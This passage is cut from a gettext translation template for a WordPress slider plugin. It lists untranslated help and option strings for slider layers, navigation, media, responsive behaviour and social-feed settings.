admin/includes/help.class.php:1580 msgid "Default BG Position" msgstr "" #: admin/includes/help.class.php:1596 msgid "Default BG Repeat" msgstr "" #: admin/includes/help.class.php:1588 msgid "Default Image Fit" msgstr "" #: admin/includes/help.class.php:1572 msgid "Default Image Size" msgstr "" #: admin/includes/help.class.php:4984 msgid "Define a custom height attribute for external image urls" msgstr "" #: admin/includes/help.class.php:4971 msgid "Define a custom width attribute for external image urls" msgstr "" #: admin/includes/help.class.php:2580 msgid "" "Define a depth for each of the 15 options, which can then be assigned to any " "given Layer" msgstr "" #: admin/includes/help.class.php:10818 msgid "" "Define an optional ID for the Layer to target it with custom CSS/JavaScript" msgstr "" #: admin/includes/help.class.php:10883 msgid "" "Define an optional ID for the Layer's outer-most wrapper to target it with " "custom CSS/JavaScript." msgstr "" #: admin/includes/help.class.php:68 msgid "Define custom grid widths and heights per device/viewport" msgstr "" #: admin/includes/help.class.php:4910 msgid "" "Define the 'alt' attribute for the Slide's main background image. Useful " "for SEO purposes." msgstr "" #: admin/includes/help.class.php:4940 msgid "" "Define the 'title' attribute for the Slide's main background image. Useful " "for screen readers." msgstr "" #: admin/includes/help.class.php:2169 msgid "Define the CSS padding-bottom for the carousel items (px)" msgstr "" #: admin/includes/help.class.php:2156 msgid "Define the CSS padding-top for the carousel items (px)" msgstr "" #: admin/includes/help.class.php:10857 msgid "Define the Layer's 'rel' attribute" msgstr "" #: admin/includes/help.class.php:10870 msgid "Define the Layer's tab-index. Useful for defining focus on elements." msgstr "" #: admin/includes/help.class.php:10844 msgid "Define the Layer's title attribute" msgstr "" #: admin/includes/help.class.php:2143 msgid "Define the spacing between the carousel items (px)" msgstr "" #: admin/includes/help.class.php:8818 msgid "Define when the loop animation should begin after the Slide is shown" msgstr "" #: admin/includes/help.class.php:5835 msgid "Description" msgstr "" #: admin/includes/help.class.php:468 msgid "Desktop Height" msgstr "" #: admin/includes/help.class.php:452 msgid "Desktop Viewport" msgstr "" #: admin/includes/help.class.php:460 msgid "Desktop Width" msgstr "" #: admin/includes/help.class.php:5247 msgid "Dimension" msgstr "" #: admin/includes/help.class.php:6315 msgid "Disable all possible user-interaction with the video" msgstr "" #: admin/includes/help.class.php:2063 msgid "Disable Blur/Focus behavior" msgstr "" #: admin/includes/help.class.php:2788 msgid "Disable on Mobile" msgstr "" #: admin/includes/help.class.php:1947 msgid "Disable PanZoom on Mobile" msgstr "" #: admin/includes/help.class.php:2408 msgid "Disable Parallax/3D on Mobile" msgstr "" #: admin/includes/help.class.php:1939 msgid "Disable Slider on Mobile" msgstr "" #: admin/includes/help.class.php:92 msgid "Disable slider on mobile, hide layer content below screen size" msgstr "" #: admin/includes/help.class.php:2066 msgid "" "Disable Slider resizing when the user navigates away from the tab/window and " "returns to the page" msgstr "" #: admin/includes/help.class.php:2791 msgid "Disable the effects on mobile devices" msgstr "" #: admin/includes/help.class.php:1950 msgid "Disable the PanZoom effect for mobile devices" msgstr "" #: admin/includes/help.class.php:2411 msgid "Disable the Parallax/3D effects for mobile devices" msgstr "" #: admin/includes/help.class.php:2364 msgid "Display a spinner animation when the Module first loads" msgstr "" #: admin/includes/help.class.php:6328 msgid "Display controls in the video/audio player" msgstr "" #: admin/includes/help.class.php:2910 msgid "" "Display debug information on the Slider to help show issues during " "development" msgstr "" #: admin/includes/help.class.php:3398 msgid "" "Display the bullets next to one another (horizontal) or on top of one " "another (vertical)" msgstr "" #: admin/includes/help.class.php:302 msgid "Display the Slider 100% width across the page" msgstr "" #: admin/includes/help.class.php:284 msgid "Display the Slider as a traditional Carousel" msgstr "" #: admin/includes/help.class.php:311 msgid "Display the Slider at 100% width and height" msgstr "" #: admin/includes/help.class.php:3731 msgid "" "Display the tabs next to one another (horizontal) or on top of one another " "(vertical)" msgstr "" #: admin/includes/help.class.php:4212 msgid "" "Display the thumbs next to one another (horizontal) or on top of one another " "(vertical)" msgstr "" #: admin/includes/help.class.php:12 msgid "Docs" msgstr "" #: admin/includes/help.class.php:25 msgid "Documentation" msgstr "" #: admin/includes/help.class.php:435 msgid "Don't Force Fullwidth" msgstr "" #: admin/includes/help.class.php:5076 admin/includes/help.class.php:6177 msgid "Dotted Overlay" msgstr "" #: admin/includes/help.class.php:4679 msgid "Drag Block Vertical" msgstr "" #: admin/includes/help.class.php:1660 admin/includes/help.class.php:5793 msgid "Duration" msgstr "" #: admin/includes/help.class.php:1649 admin/includes/help.class.php:2207 #: admin/includes/help.class.php:5777 msgid "Easing" msgstr "" #: admin/includes/help.class.php:149 msgid "Edit Content Layers" msgstr "" #: admin/includes/help.class.php:152 msgid "Edit text, images, videos, styles, position and size for your content" msgstr "" #: admin/includes/help.class.php:2395 msgid "Enable 3D Effects" msgstr "" #: admin/includes/help.class.php:2266 msgid "Enable 3D Rotation" msgstr "" #: admin/includes/help.class.php:3066 msgid "Enable Arrows" msgstr "" #: admin/includes/help.class.php:1845 msgid "Enable autoplay for the Slider to automatically change between slides" msgstr "" #: admin/includes/help.class.php:7303 msgid "Enable Box Shadow" msgstr "" #: admin/includes/help.class.php:3349 msgid "Enable Bullets" msgstr "" #: admin/includes/help.class.php:3352 msgid "Enable Bullets for the Slider's navigation" msgstr "" #: admin/includes/help.class.php:7973 msgid "Enable Clip Path" msgstr "" #: admin/includes/help.class.php:3681 msgid "Enable custom styling overrides for the bullets" msgstr "" #: admin/includes/help.class.php:4162 msgid "Enable custom styling overrides for the tabs" msgstr "" #: admin/includes/help.class.php:8040 admin/includes/help.class.php:8483 #: admin/includes/help.class.php:8557 admin/includes/help.class.php:8631 msgid "Enable Filter Animation" msgstr "" #: admin/includes/help.class.php:4733 msgid "Enable Keyboard Navigation" msgstr "" #: admin/includes/help.class.php:7925 msgid "Enable Layer Mask" msgstr "" #: admin/includes/help.class.php:3069 msgid "Enable left/right Arrows for the Slider's navigation" msgstr "" #: admin/includes/help.class.php:4736 msgid "Enable left/right/up/down keys to control the Slider" msgstr "" #: admin/includes/help.class.php:4761 msgid "Enable Mouse Scroll" msgstr "" #: admin/includes/help.class.php:4764 msgid "Enable mouse scrolling to control Slide changes" msgstr "" #: admin/includes/help.class.php:60 msgid "Enable multiple stage sizes for custom set responsive content" msgstr "" #: admin/includes/help.class.php:1641 admin/includes/help.class.php:5582 msgid "Enable PanZoom" msgstr "" #: admin/includes/help.class.php:2386 msgid "Enable Parallax/3D Effects" msgstr "" #: admin/includes/help.class.php:3002 msgid "Enable Progress Bar" msgstr "" #: admin/includes/help.class.php:2312 msgid "Enable Scaling" msgstr "" #: admin/includes/help.class.php:5491 msgid "Enable Slide Link" msgstr "" #: admin/includes/help.class.php:7492 admin/includes/help.class.php:7537 msgid "Enable Spike Masks" msgstr "" #: admin/includes/help.class.php:3698 msgid "Enable Tabs" msgstr "" #: admin/includes/help.class.php:3701 msgid "Enable Tabs for the Slider's navigation" msgstr "" #: admin/includes/help.class.php:7396 msgid "Enable Text Shadow" msgstr "" #: admin/includes/help.class.php:8171 msgid "Enable Text-Split Animations" msgstr "" #: admin/includes/help.class.php:481 msgid "Enable the Laptop responsive viewport" msgstr "" #: admin/includes/help.class.php:1644 msgid "Enable the PanZoom effect by default for newly created Slides" msgstr "" #: admin/includes/help.class.php:5585 msgid "Enable the PanZoom effect by default for this Slide" msgstr "" #: admin/includes/help.class.php:2398 msgid "Enable the Parallax/3D effect engine for the Slider" msgstr "" #: admin/includes/help.class.php:533 msgid "Enable the Phone responsive viewport" msgstr "" #: admin/includes/help.class.php:2389 msgid "Enable the special effects engine for the Slider" msgstr "" #: admin/includes/help.class.php:507 msgid "Enable the Tablet responsive viewport" msgstr "" #: admin/includes/help.class.php:4179 msgid "Enable Thumbnails" msgstr "" #: admin/includes/help.class.php:4182 msgid "Enable Thumbnails for the Slider's navigation" msgstr "" #: admin/includes/help.class.php:4653 msgid "Enable Touch Swipe" msgstr "" #: admin/includes/help.class.php:4666 msgid "Enable Touch Swipe for Desktop" msgstr "" #: admin/includes/help.class.php:4669 msgid "" "Enable touch swiping on Desktop computers to navigate to the previous/next " "slides" msgstr "" #: admin/includes/help.class.php:4656 msgid "Enable touch swiping to navigate to the previous/next slides" msgstr "" #: admin/includes/help.class.php:1792 msgid "Enable Viewport Stop" msgstr "" #: admin/includes/help.class.php:10154 msgid "" "Enable/Disable filter effects for the Layer as the Module scrolls into and " "out of view. Filter effects applied via the Module Settings" msgstr "" #: admin/includes/help.class.php:193 msgid "Enable/Disable Navigation" msgstr "" #: admin/includes/help.class.php:1707 admin/includes/help.class.php:5662 msgid "End Position X" msgstr "" #: admin/includes/help.class.php:1729 admin/includes/help.class.php:5694 msgid "End Position Y" msgstr "" #: admin/includes/help.class.php:9474 msgid "End rotate2D" msgstr "" #: admin/includes/help.class.php:9406 msgid "End rotateX" msgstr "" #: admin/includes/help.class.php:9440 msgid "End rotateY" msgstr "" #: admin/includes/help.class.php:9251 msgid "End scaleX" msgstr "" #: admin/includes/help.class.php:9285 msgid "End scaleY" msgstr "" #: admin/includes/help.class.php:9319 msgid "End skewX" msgstr "" #: admin/includes/help.class.php:9353 msgid "End skewY" msgstr "" #: admin/includes/help.class.php:5196 admin/includes/help.class.php:6429 msgid "End the video at this time (minutes:seconds, such as 01:30)" msgstr "" #: admin/includes/help.class.php:5193 admin/includes/help.class.php:6426 msgid "End Time" msgstr "" #: admin/includes/help.class.php:8948 msgid "End X Position" msgstr "" #: admin/includes/help.class.php:8982 msgid "End Y Position" msgstr "" #: admin/includes/help.class.php:9016 msgid "End Z Position" msgstr "" #: admin/includes/help.class.php:7639 msgid "End/Out Animation: To" msgstr "" #: admin/includes/help.class.php:5105 msgid "" "Ensures that the video will be displayed full-width and full-height " "regardless of its aspect ratio" msgstr "" #: admin/includes/help.class.php:4953 msgid "" "Enter a custom title for the Slide's main background image. Useful for " "screen readers." msgstr "" #: admin/includes/help.class.php:805 msgid "" "Enter a list of Post ID's to include in the Slider, or select " "'Popular/Recent' to populate the list automatically" msgstr "" #: admin/includes/help.class.php:5861 msgid "" "Enter a specific amount of times the Slide's timeeline should loop or use " "'unlimited' to loop continusously until the Slide changes" msgstr "" #: admin/includes/help.class.php:570 msgid "" "Enter an image url or select/upload an image from the Media or Object " "Library to be used as the Slider's global background image" msgstr "" #: admin/includes/help.class.php:4923 msgid "" "Enter custom alternative text for the Slide's main background image. Useful " "for SEO purposes." msgstr "" #: admin/includes/help.class.php:1054 msgid "Enter the absolute URL of the flickr gallery you wish to include" msgstr "" #: admin/includes/help.class.php:1070 msgid "Enter the absolute URL of the flickr group irl you wish to include" msgstr "" #: admin/includes/help.class.php:1410 msgid "Enter the channel ID of the YouTube account" msgstr "" #: admin/includes/help.class.php:1494 msgid "" "Enter the username, album ID, group name or channel name of the Vimeo " "account to use as the stream" msgstr "" #: admin/includes/help.class.php:1300 msgid "Enter your Facebook Page URL for the API query" msgstr "" #: admin/includes/help.class.php:995 msgid "" "Enter your Flickr API key. Learn more" msgstr "" #: admin/includes/help.class.php:1022 msgid "Enter your Flickr user URL for the API query" msgstr "" #: admin/includes/help.class.php:1127 msgid "Enter your Instagram User Name for the API query" msgstr "" #: admin/includes/help.class.php:1168 msgid "Enter your Twitter User Name/Handle for the API query" msgstr "" #: admin/includes/help.class.php:1397 msgid "" "Enter your YouTube API key. Learn " "more" msgstr "" #: admin/includes/help.class.php:10615 msgid "Enter/Exit Fullscreen" msgstr "" #: admin/includes/help.class.php:4981 msgid "External Image Height" msgstr "" #: admin/includes/help.class.php:4813 msgid "External Image URL" msgstr "" #: admin/includes/help.class.php:4968 msgid "External Image Width" msgstr "" #: admin/includes/help.class.php:712 msgid "Facebook" msgstr "" #: admin/includes/help.class.php:2651 msgid "Fade" msgstr "" #: admin/includes/help.class.php:5907 msgid "Fade Effect" msgstr "" #: admin/includes/help.class.php:2236 msgid "Fade Items" msgstr "" #: admin/includes/help.class.php:5910 msgid "Fade Layers in and out as the page scrolls into and out of view" msgstr "" #: admin/includes/help.class.php:2654 msgid "Fade the Slider out when it scrolls into and out of view" msgstr "" #: admin/includes/help.class.php:29 msgid "FAQs" msgstr "" #: admin/includes/help.class.php:951 msgid "Featured Only" msgstr "" #: admin/includes/help.class.php:754 msgid "Fetch By" msgstr "" #: admin/includes/help.class.php:10151 msgid "Filter Effect Scroll Based" msgstr "" #: admin/includes/help.class.php:2006 msgid "First Slide Animation" msgstr "" #: admin/includes/help.class.php:2027 msgid "First Slide Transition Duration" msgstr "" #: admin/includes/help.class.php:2014 msgid "First Slide Transition Type" msgstr "" #: admin/includes/help.class.php:373 msgid "Fixed on Top" msgstr "" #: admin/includes/help.class.php:685 msgid "Flickr" msgstr "" #: admin/includes/help.class.php:10262 msgid "Follow" msgstr "" #: admin/includes/help.class.php:6631 msgid "Font Family" msgstr "" #: admin/includes/help.class.php:6579 msgid "Font Size" msgstr "" #: admin/includes/help.class.php:6605 msgid "Font Weight" msgstr "" #: admin/includes/help.class.php:6657 msgid "Font-Style: Italic" msgstr "" #: admin/includes/help.class.php:5102 msgid "Force Cover" msgstr "" #: admin/includes/help.class.php:365 msgid "Force Overflow" msgstr "" #: admin/includes/help.class.php:308 msgid "Full Screen" msgstr "" #: admin/includes/help.class.php:299 msgid "Full Width" msgstr "" #: admin/includes/help.class.php:1051 msgid "Gallery URL" msgstr "" #: admin/includes/help.class.php:646 msgid "Gap (Border)" msgstr "" #: admin/includes/help.class.php:3379 msgid "Gap/Spacing" msgstr "" #: admin/includes/help.class.php:7669 msgid "Give the animation a name for editing purposes" msgstr "" #: admin/includes/help.class.php:165 msgid "Global Layers" msgstr "" #: admin/includes/help.class.php:2664 msgid "GrayScale" msgstr "" #: admin/includes/help.class.php:8070 admin/includes/help.class.php:8518 #: admin/includes/help.class.php:8592 admin/includes/help.class.php:8666 #: admin/includes/help.class.php:10096 msgid "Grayscale" msgstr "" #: admin/includes/help.class.php:5923 msgid "Grayscale Effect" msgstr "" #: admin/includes/help.class.php:9595 msgid "Grayscale End" msgstr "" #: admin/includes/help.class.php:9578 msgid "Grayscale Start" msgstr "" #: admin/includes/help.class.php:357 msgid "Grid = Module" msgstr "" #: admin/includes/help.class.php:1067 msgid "Group URL" msgstr "" #: admin/includes/help.class.php:3890 admin/includes/help.class.php:4371 msgid "Height" msgstr "" #: admin/includes/help.class.php:14 msgid "Help Directory" msgstr "" #: admin/includes/help.class.php:23 msgid "Help Mode" msgstr "" #: admin/includes/help.class.php:272 msgid "Hero Scene" msgstr "" #: admin/includes/help.class.php:3227 admin/includes/help.class.php:3542 #: admin/includes/help.class.php:4023 admin/includes/help.class.php:4504 msgid "Hide After" msgstr "" #: admin/includes/help.class.php:5386 msgid "Hide After Loop" msgstr "" #: admin/includes/help.class.php:3243 admin/includes/help.class.php:3558 #: admin/includes/help.class.php:4039 admin/includes/help.class.php:4520 msgid "Hide After: Desktop" msgstr "" #: admin/includes/help.class.php:3260 admin/includes/help.class.php:3575 #: admin/includes/help.class.php:4056 admin/includes/help.class.php:4537 msgid "Hide After: Mobile" msgstr "" #: admin/includes/help.class.php:1973 msgid "Hide All Layers Under" msgstr "" #: admin/includes/help.class.php:1976 msgid "Hide all Layers under when the window is below this number" msgstr "" #: admin/includes/help.class.php:1965 msgid "Hide Marked Layers" msgstr "" #: admin/includes/help.class.php:5398 msgid "Hide on Mobile" msgstr "" #: admin/includes/help.class.php:3312 admin/includes/help.class.php:3627 #: admin/includes/help.class.php:4108 admin/includes/help.class.php:4589 msgid "Hide Over" msgstr "" #: admin/includes/help.class.php:3328 admin/includes/help.class.php:3643 #: admin/includes/help.class.php:4124 admin/includes/help.class.php:4605 msgid "Hide Over Limit" msgstr "" #: admin/includes/help.class.php:1957 msgid "Hide Slider Under Width" msgstr "" #: admin/includes/help.class.php:3315 msgid "" "Hide the Arrows when the browser window is equal to or above a certain number" msgstr "" #: admin/includes/help.class.php:3331 msgid "" "Hide the Arrows when the browser window is equal to or above this number" msgstr "" #: admin/includes/help.class.php:3281 msgid "" "Hide the Arrows when the browser window is equal to or below a certain number" msgstr "" #: admin/includes/help.class.php:3297 msgid "" "Hide the Arrows when the browser window is equal to or below this number" msgstr "" #: admin/includes/help.class.php:3630 msgid "" "Hide the Bullets when the browser window is equal to or above a certain " "number" msgstr "" #: admin/includes/help.class.php:3646 msgid "" "Hide the Bullets when the browser window is equal to or above this number" msgstr "" #: admin/includes/help.class.php:3596 msgid "" "Hide the Bullets when the browser window is equal to or below a certain " "number" msgstr "" #: admin/includes/help.class.php:3612 msgid "" "Hide the Bullets when the browser window is equal to or below this number" msgstr "" #: admin/includes/help.class.php:10789 msgid "" "Hide the Layer when the browser window is equal to or below the value set in " "the Slider Settings" msgstr "" #: admin/includes/help.class.php:1960 msgid "Hide the Slider under a certain window width" msgstr "" #: admin/includes/help.class.php:4111 msgid "" "Hide the Tabs when the browser window is equal to or above a certain number" msgstr "" #: admin/includes/help.class.php:4127 msgid "Hide the Tabs when the browser window is equal to or above this number" msgstr "" #: admin/includes/help.class.php:4077 msgid "" "Hide the Tabs when the browser window is equal to or below a certain number" msgstr "" #: admin/includes/help.class.php:4093 msgid "Hide the Tabs when the browser window is equal to or below this number" msgstr "" #: admin/includes/help.class.php:4592 msgid "" "Hide the Thumbnails when the browser window is equal to or above a certain " "number" msgstr "" #: admin/includes/help.class.php:4608 msgid "" "Hide the Thumbnails when the browser window is equal to or above this number" msgstr "" #: admin/includes/help.class.php:4558 msgid "" "Hide the Thumbnails when the browser window is equal to or below a certain " "number" msgstr "" #: admin/includes/help.class.php:4574 msgid "" "Hide the Thumbnails when the browser window is equal to or below this number" msgstr "" #: admin/includes/help.class.php:3278 admin/includes/help.class.php:3593 #: admin/includes/help.class.php:4074 admin/includes/help.class.php:4555 msgid "Hide Under" msgstr "" #: admin/includes/help.class.php:3294 admin/includes/help.class.php:3609 #: admin/includes/help.class.php:4090 admin/includes/help.class.php:4571 msgid "Hide Under Limit" msgstr "" #: admin/includes/help.class.php:10786 msgid "Hide Under Width" msgstr "" #: admin/includes/help.class.php:2179 admin/includes/help.class.php:6499 #: admin/includes/help.class.php:7088 msgid "Horizontal Align" msgstr "" #: admin/includes/help.class.php:9719 msgid "Hover Background Color" msgstr "" #: admin/includes/help.class.php:32 msgid "Hover over any option to learn more" msgstr "" #: admin/includes/help.class.php:24 msgid "Hover your mouse over any option to learn more." msgstr "" #: admin/includes/help.class.php:224 msgid "How To Use" msgstr "" #: admin/includes/help.class.php:5023 msgid "HTML Video URL" msgstr "" #: admin/includes/help.class.php:6093 msgid "HTML5 Audio URL" msgstr "" #: admin/includes/help.class.php:6077 msgid "HTML5 Video URL" msgstr "" #: admin/includes/help.class.php:344 msgid "" "If enabled the Slider's height will always equal the viewport's breakpoint " "height" msgstr "" #: admin/includes/help.class.php:438 msgid "" "If enabled, the Module's width will remain the same as its immediate parent " "container" msgstr "" #: admin/includes/help.class.php:593 msgid "Image Fit" msgstr "" #: admin/includes/help.class.php:4827 admin/includes/help.class.php:5978 msgid "Image from Stream" msgstr "" #: admin/includes/help.class.php:6017 msgid "Image Source Size" msgstr "" #: admin/includes/help.class.php:567 admin/includes/help.class.php:5991 msgid "Image URL" msgstr "" #: admin/includes/help.class.php:5036 msgid "Image/Poster from Stream" msgstr "" #: admin/includes/help.class.php:938 msgid "In Stock Only" msgstr "" #: admin/includes/help.class.php:6361 msgid "" "Include a 'playsline' attribute with the video element. This will prevent " "the video from being taken fullscreen when it initially plays on mobile " "devices." msgstr "" #: admin/includes/help.class.php:2963 msgid "Include a background cover when the Module is loaded as a Modal" msgstr "" #: admin/includes/help.class.php:1194 msgid "Include both tweets and re-tweets in the Slider" msgstr "" #: admin/includes/help.class.php:1207 msgid "Include both tweets and replies in the Slider" msgstr "" #: admin/includes/help.class.php:6344 msgid "Include large controls for HTML5 Video Layers" msgstr "" #: admin/includes/help.class.php:1181 msgid "Include text-only Tweets (tweets that do not contain an image)" msgstr "" #: admin/includes/help.class.php:1968 msgid "" "Individual Layers that are selected to be hidden under a width will be " "hidden under this number" msgstr "" #: admin/includes/help.class.php:2075 msgid "Infinity Scroll" msgstr "" #: admin/includes/help.class.php:10667 msgid "Inherit from Desktop" msgstr "" #: admin/includes/help.class.php:1539 msgid "Initialization Delay" msgstr "" #: admin/includes/help.class.php:1816 msgid "" "Initialize/Pause the Slider when its inside this percentage of the page's " "viewport" msgstr "" #: admin/includes/help.class.php:6358 msgid "Inline Mode" msgstr "" #: admin/includes/help.class.php:3760 admin/includes/help.class.php:4241 msgid "Inner/Outer" msgstr "" #: admin/includes/help.class.php:694 msgid "Instagram" msgstr "" #: admin/includes/help.class.php:1606 admin/includes/help.class.php:10654 msgid "Intelligent Inheriting" msgstr "" #: admin/includes/help.class.php:10166 msgid "Interaction" msgstr "" #: admin/includes/help.class.php:2140 msgid "Item Spacing" msgstr "" #: admin/includes/help.class.php:2883 msgid "jQuery No Conflict Mode" msgstr "" #: admin/includes/help.class.php:10352 msgid "Jump to Slide" msgstr "" #: admin/includes/help.class.php:341 msgid "Keep Breakpoint Heights" msgstr "" #: admin/includes/help.class.php:4746 msgid "Key Arrow Direction" msgstr "" #: admin/includes/help.class.php:494 msgid "Laptop Height" msgstr "" #: admin/includes/help.class.php:478 msgid "Laptop Viewport" msgstr "" #: admin/includes/help.class.php:486 msgid "Laptop Width" msgstr "" #: admin/includes/help.class.php:6341 msgid "Large Controls" msgstr "" #: admin/includes/help.class.php:21 msgid "Layer" msgstr "" #: admin/includes/help.class.php:183 msgid "Layer Animations" msgstr "" #: admin/includes/help.class.php:10828 msgid "Layer Classes" msgstr "" #: admin/includes/help.class.php:7153 msgid "Layer Height" msgstr "" #: admin/includes/help.class.php:6563 msgid "Layer HTML Tag" msgstr "" #: admin/includes/help.class.php:10815 msgid "Layer ID" msgstr "" #: admin/includes/help.class.php:6696 msgid "Layer is Selectable" msgstr "" #: admin/includes/help.class.php:10854 msgid "Layer Rel" msgstr "" #: admin/includes/help.class.php:5937 msgid "Layer Text" msgstr "" #: admin/includes/help.class.php:10841 msgid "Layer Title" msgstr "" #: admin/includes/help.class.php:7140 msgid "Layer Width" msgstr "" #: admin/includes/help.class.php:2708 msgid "Layers" msgstr "" #: admin/includes/help.class.php:2091 msgid "" "Layers from Slides that are visible in the carousel will always be visible " "by default (Layer animations will be disabled)" msgstr "" #: admin/includes/help.class.php:89 msgid "Layers Mobile Visibility" msgstr "" #: admin/includes/help.class.php:2528 msgid "Layers Overflow Hidden" msgstr "" #: admin/includes/help.class.php:81 msgid "Layers Responsive Behavior" msgstr "" #: admin/includes/help.class.php:1547 msgid "Layers Selectable" msgstr "" #: admin/includes/help.class.php:2465 msgid "Layers Speed" msgstr "" #: admin/includes/help.class.php:2827 msgid "Layers Strength" msgstr "" #: admin/includes/help.class.php:2088 msgid "Layers Visible" msgstr "" #: admin/includes/help.class.php:2845 admin/includes/help.class.php:6004 msgid "Lazy Loading" msgstr "" #: admin/includes/help.class.php:219 msgid "Learn how to activate an AddOn for the Slider" msgstr "" #: admin/includes/help.class.php:196 msgid "Learn how to add/remove navigation elements to control the Slider" msgstr "" #: admin/includes/help.class.php:7571 msgid "Left Corner" msgstr "" #: admin/includes/help.class.php:7505 msgid "Left Spike" msgstr "" #: admin/includes/help.class.php:7521 msgid "Left Spike Width" msgstr "" #: admin/includes/help.class.php:6618 msgid "Letter Spacing" msgstr "" #: admin/includes/help.class.php:867 msgid "Limit Excerpt" msgstr "" #: admin/includes/help.class.php:5963 msgid "Line Break Behavior" msgstr "" #: admin/includes/help.class.php:6592 msgid "Line Height" msgstr "" #: admin/includes/help.class.php:5565 msgid "Link Sensibility" msgstr "" #: admin/includes/help.class.php:5533 admin/includes/help.class.php:10228 msgid "Link Target" msgstr "" #: admin/includes/help.class.php:10355 msgid "Link the Layer to a specific Slide" msgstr "" #: admin/includes/help.class.php:5552 msgid "Link to another Slide in the Slider" msgstr "" #: admin/includes/help.class.php:5549 msgid "Link to Slide" msgstr "" #: admin/includes/help.class.php:5504 admin/includes/help.class.php:10245 msgid "Link Type" msgstr "" #: admin/includes/help.class.php:5517 admin/includes/help.class.php:10211 msgid "Link URL" msgstr "" #: admin/includes/help.class.php:5250 msgid "" "Load the images in their original size or in the size defined in the Slider " "Settings" msgstr "" #: admin/includes/help.class.php:2894 msgid "Load the Slider's JS files in the page's body to help resolve conflicts" msgstr "" #: admin/includes/help.class.php:5853 msgid "Loop all or part of the current Slide's timeline" msgstr "" #: admin/includes/help.class.php:8725 msgid "Loop all or part of the Layer's timeline animation" msgstr "" #: admin/includes/help.class.php:8751 msgid "Loop End Frame" msgstr "" #: admin/includes/help.class.php:8722 msgid "Loop Layer's Timeline" msgstr "" #: admin/includes/help.class.php:1863 msgid "Loop Single Slide" msgstr "" #: admin/includes/help.class.php:8735 msgid "Loop Start Frame" msgstr "" #: admin/includes/help.class.php:5089 msgid "Loop Video" msgstr "" #: admin/includes/help.class.php:6164 msgid "Loop Video/Audio" msgstr "" #: admin/includes/help.class.php:9091 msgid "" "Magnify the curve by this value. 1 = no magnification. 2 = twice the curve," " etc." msgstr "" #: admin/includes/help.class.php:4792 msgid "Main Slide Background" msgstr "" #: admin/includes/help.class.php:399 admin/includes/help.class.php:6871 msgid "Margin Bottom" msgstr "" #: admin/includes/help.class.php:6884 msgid "Margin Left" msgstr "" #: admin/includes/help.class.php:6858 msgid "Margin Right" msgstr "" #: admin/includes/help.class.php:391 admin/includes/help.class.php:6845 msgid "Margin Top" msgstr "" #: admin/includes/help.class.php:9709 msgid "" "Mask the current Layer before applying hover styles/effects. Useful for " "movements and scale/zooms." msgstr "" #: admin/includes/help.class.php:7938 msgid "Mask X Position" msgstr "" #: admin/includes/help.class.php:7955 msgid "Mask Y Position" msgstr "" #: admin/includes/help.class.php:7574 msgid "Mask your content with diagonal slice from the left side" msgstr "" #: admin/includes/help.class.php:7587 msgid "Mask your content with diagonal slice from the right side" msgstr "" #: admin/includes/help.class.php:9706 msgid "Masking" msgstr "" #: admin/includes/help.class.php:5823 msgid "Max Characters" msgstr "" #: admin/includes/help.class.php:333 msgid "Max Height" msgstr "" #: admin/includes/help.class.php:851 msgid "Max Posts" msgstr "" #: admin/includes/help.class.php:2101 msgid "Max Visible Slides" msgstr "" #: admin/includes/help.class.php:317 msgid "Max Width" msgstr "" #: admin/includes/help.class.php:7232 msgid "Maximum Height" msgstr "" #: admin/includes/help.class.php:7206 msgid "Maximum Width" msgstr "" #: admin/includes/help.class.php:325 msgid "Min Height" msgstr "" #: admin/includes/help.class.php:4705 msgid "Min. Fingers" msgstr "" #: admin/includes/help.class.php:7219 msgid "Minimum Height" msgstr "" #: admin/includes/help.class.php:3874 admin/includes/help.class.php:4355 #: admin/includes/help.class.php:7193 msgid "Minimum Width" msgstr "" #: admin/includes/help.class.php:2943 msgid "Modal Horizontal Alignment" msgstr "" #: admin/includes/help.class.php:2951 msgid "Modal Vertical Alignment" msgstr "" #: admin/includes/help.class.php:76 msgid "Modify font size and layer position per device" msgstr "" #: admin/includes/help.class.php:5223 msgid "Module Admin Thumbnail" msgstr "" #: admin/includes/help.class.php:620 msgid "Module BG Color" msgstr "" #: admin/includes/help.class.php:2989 msgid "Module Shortcode" msgstr "" #: admin/includes/help.class.php:9651 msgid "Mouse Hover" msgstr "" #: admin/includes/help.class.php:2439 msgid "Mouse Speed" msgstr "" #: admin/includes/help.class.php:5141 admin/includes/help.class.php:6371 msgid "Mute at Start" msgstr "" #: admin/includes/help.class.php:10582 msgid "" "Mute or Unmute the sound from a video or audio Layer on user-interaction" msgstr "" #: admin/includes/help.class.php:10579 msgid "Mute/Unmute Media" msgstr "" #: admin/includes/help.class.php:19 msgid "Navigation" msgstr "" #: admin/includes/help.class.php:5235 msgid "Navigation Thumbnail" msgstr "" #: admin/includes/help.class.php:5115 admin/includes/help.class.php:6285 msgid "Next Slide at End" msgstr "" #: admin/includes/help.class.php:2055 msgid "Next Slide on Focus" msgstr "" #: admin/includes/help.class.php:10369 msgid "Next/Previous Slide" msgstr "" #: admin/includes/help.class.php:6312 msgid "No Interaction" msgstr "" #: admin/includes/help.class.php:6231 msgid "No Poster on Mobile" msgstr "" #: admin/includes/help.class.php:8767 msgid "Num Loops" msgstr "" #: admin/includes/help.class.php:3824 msgid "Num. Tabs" msgstr "" #: admin/includes/help.class.php:4305 msgid "Num. Thumbs" msgstr "" #: admin/includes/help.class.php:409 msgid "Offset Container" msgstr "" #: admin/includes/help.class.php:422 msgid "Offset px/%" msgstr "" #: admin/includes/help.class.php:3131 msgid "" "Offset the Arrow's horizontal position by this amount. Accepts positive and " "negative values." msgstr "" #: admin/includes/help.class.php:3147 msgid "" "Offset the Arrow's vertical position by this amount. Accepts positive and " "negative values." msgstr "" #: admin/includes/help.class.php:3446 msgid "" "Offset the Bullet's horizontal position by this amount. Accepts positive " "and negative values." msgstr "" #: admin/includes/help.class.php:3462 msgid "" "Offset the Bullet's vertical position by this amount. Accepts positive and " "negative values." msgstr "" #: admin/includes/help.class.php:7117 msgid "" "Offset the Layer's horizontal position by this amount. Accepts positive and " "negative values." msgstr "" #: admin/includes/help.class.php:7130 msgid "" "Offset the Layer's vertical position by this amount. Accepts positive and " "negative values." msgstr "" #: admin/includes/help.class.php:3795 msgid "" "Offset the Tab's horizontal position by this amount. Accepts positive and " "negative values." msgstr "" #: admin/includes/help.class.php:3811 msgid "" "Offset the Tab's vertical position by this amount. Accepts positive and " "negative values." msgstr "" #: admin/includes/help.class.php:4276 msgid "" "Offset the Thumb's horizontal position by this amount. Accepts positive and " "negative values." msgstr "" #: admin/includes/help.class.php:4292 msgid "" "Offset the Thumb's vertical position by this amount. Accepts positive and " "negative values." msgstr "" #: admin/includes/help.class.php:2801 msgid "Offset Tilt" msgstr "" #: 